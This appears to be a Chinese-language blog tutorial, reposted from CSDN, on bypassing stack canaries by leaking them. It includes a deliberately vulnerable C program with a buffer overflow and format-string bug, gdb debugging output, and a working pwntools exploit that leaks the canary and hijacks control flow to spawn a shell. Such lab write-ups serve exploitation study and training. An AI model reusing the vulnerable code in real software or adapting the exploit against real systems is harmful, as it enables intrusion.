Canary学习(泄露Canary)

canary

原理

  • 通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖ebp,eip等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址让shellcode执行。
  • 当启用栈保护时,函数开始执行的时候会先往栈底插入cookie信息,如果不合法就停止程序运行(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将cookie信息覆盖掉,导致栈保护检查失败而阻止shellcode的执行,避免漏洞利用成功。在linux中我们将cookie信息成为canary。

64位系统中其栈结构如下

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
        rbp =>  | old ebp         |
                +-----------------+
      rbp-8 =>  | canary value    |
                +-----------------+
                | local var       |
        Low     |                 |
        Address

Canary绕过

  • Canary设计以字节\x00结尾,本意是保证Canary可以截断字符串。泄露栈中的Canary的思路是覆盖Canary的低字节,来打印出剩余的Canary部分。需要合适的输出函数,并且需要先泄露Canary,之后再次溢出控制执行流程。
  • 需要注意:Canary一般最低位是\x00,也就是结尾处,64位程序的canary的大小是8个字节,32位程序的canary的大小是4个字节。
  • canary的位置不一定与ebp存储的位置相邻,具体得看程序的汇编操作,不同编译器在进行编译时canary位置可能出现偏差,有可能ebp与canary之间有字节被随机填充

example

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译

编译之前先安装相关依赖(64位系统编译32位程序)

gcc -m32 -o ex2 ex2.c

checksec


开启了canary

IDA分析

在read函数下断点,查找buf跟ebp的偏移,为0x70,十进制为112

然后我们分析canary跟ebp之间的偏移

在这里把canary的值给eax,然后进行压栈

canary的位置与ebp相差0xc,十进制为12

也就是说buf跟canary相差100,buf跟ebp相差112,canary跟ebp相差12

(可能存在偏差,稍后使用gdb进行调试)

先把canary泄露出来

  • 利用canary最后一个字节为0x00的特性
from pwn import *

sh = process('./ex2')

sh.recvuntil("Hello Hacker!\n")

sh.sendline('A'* 100)

#sh.interactive()

sh.recvuntil('A'* 100)

addr = u32(sh.recv(4)) - 0xa

print hex(addr)

结果如下:

[+] Starting local process './ex2': pid 41815
0xc8f3fd00
[*] Stopped process './ex2' (pid 41815)

减去0xa的原因:
  • canary的最低字节为0x00,学过c语言的应该都知道0x00意味着一个字符串的结束。
  • printf函数或者put函数无法输出结束字符之后的字符
  • 故上述代码中压入了100个A和回车,回车将0x00覆盖,回车的ascii码为10,10的十六进制就是0xa
  • 0x00被0xa覆盖掉之后,剩下的高字节部分就可以泄露出来了

动态调试,确认偏移位置

在这个地址处下断点
gdb -q ex2
b *0x08048605
r
查看从栈顶开始的50个对象和elements的内存布局
gef➤  telescope 0xffffcff0 50
0xffffcff0│+0x0000: 0xf7fb7000  →  0x001afdb0	 ← $esp
0xffffcff4│+0x0004: 0xf7fb7d60  →  0xfbad2887
0xffffcff8│+0x0008: 0xf7fb8870  →  0x00000000
0xffffcffc│+0x000c: 0xf7e711c2  →  <__overflow+66> add esp, 0x14
0xffffd000│+0x0010: 0xf7fb7d60  →  0xfbad2887
0xffffd004│+0x0014: 0x0000000a
0xffffd008│+0x0018: 0x000000e0
0xffffd00c│+0x001c: 0xf7fb7000  →  0x001afdb0
0xffffd010│+0x0020: 0xf7e71187  →  <__overflow+7> add ebx, 0x145e79
0xffffd014│+0x0024: 0xf7fb7000  →  0x001afdb0
0xffffd018│+0x0028: 0x0000000d
0xffffd01c│+0x002c: 0xf7e6629b  →  <puts+347> add esp, 0x10
0xffffd020│+0x0030: 0xf7fb7d60  →  0xfbad2887
0xffffd024│+0x0034: 0x0000000a
0xffffd028│+0x0038: 0x0000000d
0xffffd02c│+0x003c: 0xf7e6c465  →  <setbuf+21> add esp, 0x1c
0xffffd030│+0x0040: 0xf7fe77eb  →   add esi, 0x15815
0xffffd034│+0x0044: 0xf7e06700  →  0xf7e06700  →  [loop detected]
0xffffd038│+0x0048: 0x00000000
0xffffd03c│+0x004c: 0xf7fb7d60  →  0xfbad2887
0xffffd040│+0x0050: 0xffffd078  →  0x00000000
0xffffd044│+0x0054: 0xf7fedff0  →   pop edx
0xffffd048│+0x0058: 0xf7e6614b  →  <puts+11> add ebx, 0x150eb5
0xffffd04c│+0x005c: 0x00000000
0xffffd050│+0x0060: 0xf7fb7000  →  0x001afdb0
0xffffd054│+0x0064: 0xf7fb7000  →  0x001afdb0
0xffffd058│+0x0068: 0xffffd078  →  0x00000000
0xffffd05c│+0x006c: 0x81a87c00
0xffffd060│+0x0070: 0x08048718  →  "Hello Hacker!"
0xffffd064│+0x0074: 0xffffd124  →  0xffffd2f0  →  "/mnt/hgfs/ubuntu_share/pwn/sus/ex2"
0xffffd068│+0x0078: 0xffffd078  →  0x00000000	 ← $ebp

查看canary
gef➤  canary 
[+] Found AT_RANDOM at 0xffffd2db, reading 4 bytes
[+] The canary of process 40950 is 0x81a87c00

可知偏移为12,也就是0xc

编写exp

from pwn import *

#context.binary = 'ex2'

sh = process('./ex2')

get_shell = ELF("./ex2").sym["getshell"]

print "/bin/sh:" + hex(get_shell)

sh.recvuntil("Hello Hacker!\n")

sh.sendline('A'* 100)

sh.recvuntil('A'* 100)

addr = u32(sh.recv(4)) - 0xa

print hex(addr)

payload = 'A'* 100 + p32(addr) + 'A'* 12 + p32(get_shell)

sh.send(payload)

sh.recv()

sh.interactive()

发布了270 篇原创文章 · 获赞 52 · 访问量 26万+

猜你喜欢

转载自blog.csdn.net/AcSuccess/article/details/104115114
今日推荐